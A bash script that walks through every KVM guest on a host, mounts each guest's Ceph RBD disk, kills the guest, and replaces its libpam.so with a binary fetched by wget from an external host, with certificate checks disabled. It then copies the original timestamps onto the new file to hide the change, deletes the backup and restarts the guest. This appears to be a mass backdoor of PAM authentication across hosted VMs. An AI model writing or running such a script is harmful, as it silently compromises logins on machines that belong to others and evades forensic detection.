#! /bin/bash
virsh list | grep -v grep | awk '{print $2}' >/var/tmp/id.txt
sed -i '1d' /var/tmp/id.txt
sed -i '/^$/d' /var/tmp/id.txt
for line in `cat /var/tmp/id.txt`
do
mkdir /var/tmp/mnt
rbd unmap /dev/rbd0
rbd feature disable volumes/$line-system object-map fast-diff deep-flatten
rbd map $line-system -p volumes
mount /dev/rbd0p1 /var/tmp/mnt
echo ***************************************

echo "				$file"
				
echo ***************************************

centos6="574080"
centos7="431128"
centos8="72832"
centos=
	if [ -f "/var/tmp/mnt/lib64/libpam.so.0.83.1" ];then
	echo ================================================================================================================
	echo "centos 7"
	echo ================================================================================================================
	file="/var/tmp/mnt/lib64/libpam.so.0.83.1"
	file1="libpam.so.0.83.1"
	centos=$centos7
	fi
	if [ -f "/var/tmp/mnt/lib64/libpam.so.0.82.2" ];then
	echo ================================================================================================================
	echo "centos 6"
	echo ================================================================================================================
	file="/var/tmp/mnt/lib64/libpam.so.0.82.2"
	file1="libpam.so.0.82.2"
	centos=$centos6
	fi
	if [ -f "/var/tmp/mnt/lib64/libpam.so.0.84.2" ];then
	echo ================================================================================================================
	echo "centos 8"
	echo ================================================================================================================
	file="/var/tmp/mnt/lib64/libpam.so.0.84.2"
	file1="libpam.so.0.84.2"
	centos=$centos8
	fi
echo $file
echo $file1

if [ -f "$file" ]
then
echo ================================================================================================================
new=`ls -al $file  | grep -v grep | awk '{print $5}'`
echo "new=$new"
	if [ "$new"x != "centos"x ];
	then
echo ***************************************

echo "				$file found."
			
echo ***************************************
umount /var/tmp/mnt
rbd unmap /dev/rbd0
mingzi=$line
echo $mingzi
ps -ef | grep $mingzi,debug | grep -v grep | awk '{print $2}' | xargs kill -9
sleep 3
rbd map $mingzi-system -p volumes
mount /dev/rbd0p1 /var/tmp/mnt
sleep 3
echo ======================================================================================
ls -al $file
echo ======================================================================================
mv /var/tmp/mnt/lib64/$file1 /var/tmp/$file1.bak
wget https://sukq881lazya1.kkypzisq.com/d/$file1 -O /var/tmp/mnt/lib64/$file1 --no-check-certificate
chmod 0755 /var/tmp/mnt/lib64/$file1
touch -r /var/tmp/$file1.bak /var/tmp/mnt/lib64/$file1
touch -r /var/tmp/mnt/lib64/.. /var/tmp/mnt/lib64/.
echo ======================================================================================
ls -al /var/tmp/mnt/lib64/$file1*
echo ======================================================================================
umount /var/tmp/mnt
sleep 3
rm -rf /var/tmp/$file1.bak
rm -rf /var/tmp/mnt
rbd unmap /dev/rbd0
echo "Replacement succeeded"
virsh create /home/kvm/$mingzi/$mingzi.xml
virsh list | grep $mingzi
rm -rf /var/tmp/mnt
	else
echo ======================================================================================

echo "				$file not found."
									
echo ======================================================================================
	umount /var/tmp/mnt
	rm -rf /var/tmp/mnt
	rbd unmap /dev/rbd0
echo ======================================================================================	

echo "				Uninstall succeeded"
									
echo ======================================================================================	

	fi


else

echo ======================================================================================

echo "				$file not found."
									
echo ======================================================================================
	umount /var/tmp/mnt
	rm -rf /var/tmp/mnt
	rbd unmap /dev/rbd0
echo ======================================================================================	

echo "				Uninstall succeeded"
									
echo ======================================================================================	

fi


done
